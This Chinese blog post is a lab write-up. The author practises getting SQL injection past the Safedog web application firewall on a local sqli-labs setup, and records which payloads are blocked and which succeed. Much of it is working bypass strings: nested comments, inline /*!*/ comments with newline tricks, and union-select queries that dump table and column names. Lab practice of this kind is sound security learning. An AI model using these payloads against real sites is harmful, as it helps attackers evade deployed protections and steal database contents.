SQL注入绕waf(安全狗)

SQL注入绕waf

前言:

感觉自己注入绕waf有点拉跨,于是自己搭建了一个环境练习绕waf

环境

我是用phpstudy+sql-lib+安全狗最新版本
在这里插入图片描述
正常访问
在这里插入图片描述
恶意语句,被拦截
在这里插入图片描述

注入检测

首先进行注入检测,判断是否有注入
?id=1’ 直接输入单引号不拦截
?id=1’ and 1=1 --+ 嘎
慢慢来看看它匹配到了啥

?id=1' and 1=1 --+  不拦截
?id=1' and --+ 不拦截
?id=1' and 123--+ 嘎

发现安全狗不单一拦截and,如果and后面有内容才拦截。
&& | 也都不行,尝试空格替换注释符和换行

?id=1’ and/**/1=1--+  嘎
?id=1’ and+1=1--+   嘎
?id=1’ and/**/1=1--+  嘎

但是注释符/**/里嵌套/任意字符/就可以绕过

?id=1' and /*/a/*/1=1--+ 成功

在这里插入图片描述
sleep函数

?id=1' and /*/aa/*/sleep/*/aa/*/(/*/aa/*/5/*/aa/*/)--+

在这里插入图片描述

联合注入

照葫芦画葫芦

?id=1' order/*/aa/*/by 4 --+

在这里插入图片描述

查看回显点

发现它不拦截union,也不拦截select,但是它两同时出现就嘎。
使用上面的方法也被拦截了
我把能插的空挡都插玩了
在这里插入图片描述

原语句:?id=-1' union select 1,2,3 --+ 嘎 
?id=-1' /*/aa/*/union/*/aa/*/select/*/aa/*/1/*/aa/*/,/*/aa/*/2/*/aa/*/,/*/aa/*/3/*/aa/*/--+ 嘎 

联合查询使用括号把select和后面的语句括起来也是可以执行的
比如 union(select xxxx)

?id=-1' union/*/aa/*/(select 1,2,3) --+ 嘎
稍微添加一点
?id=-1' union/*/aa/*/(/*/aa/*/select 1,2,3) --+ 成功

在这里插入图片描述

?id=-1'  "%23"union%0aselect 1,2,3 --+    成功

在这里插入图片描述
查数据库

?id=-1' union/*/aa/*/(/*/aa/*/select 1,2,database(/*/aa/*/))--+
?id=-1' union/*/aa/*//*/aa/*/select 1,2,database(/*/aa/*/)--+
?id=-1' union/*/aa/*/(/*/aa/*/select 1,2,database/*!--+/*%0a()*/)--+

在这里插入图片描述

informaition_schema绕过

?id=-1' union/*/aa/*/all/*/aa/*/select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema='security'--+

之前在公众号文章看到的绕过informaition_schema的方法 也可以绕过
?id=-1' union/*/aaa/*/all/*/aaa/*/select 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
/*!--+/*%0a*/

解释一下注释/*!*/ 中包括的内容是可以执行的
比如:
/*!information_schema.tables*/

?id=-1' union/*/aaa/*/all/*/aaa/*/select 1,2,group_concat(table_name)from/*!information_schema.tables*/where table_schema='security'--+

拆分一下 一个跨行注释/*!*/ 中间加个--+单行注释符,注释了后面的/*,为了避免后面的多行注释结尾*/被闭合被注释掉使用%0a进行换行
在这里插入图片描述

?id=-1' union/*/aaa/*/(/*/aaa/*/select 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users')--+

在这里插入图片描述

总结:

  1. 绕sqlwaf的时候我是一点一点输入然后请求的,这样就能知道是哪里出了问题然后再绕过之后再慢慢输入
    比如
    ?id=1 union 发送请求不拦截
    ?id=1 union select 拦截 呢我就停下了先把这绕了
    然后再慢慢的输入完所有语句
  2. 安全狗在对内联注释方面处理的还是有点不行,普通的内敛注释中间加点垃圾字符多试试。
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值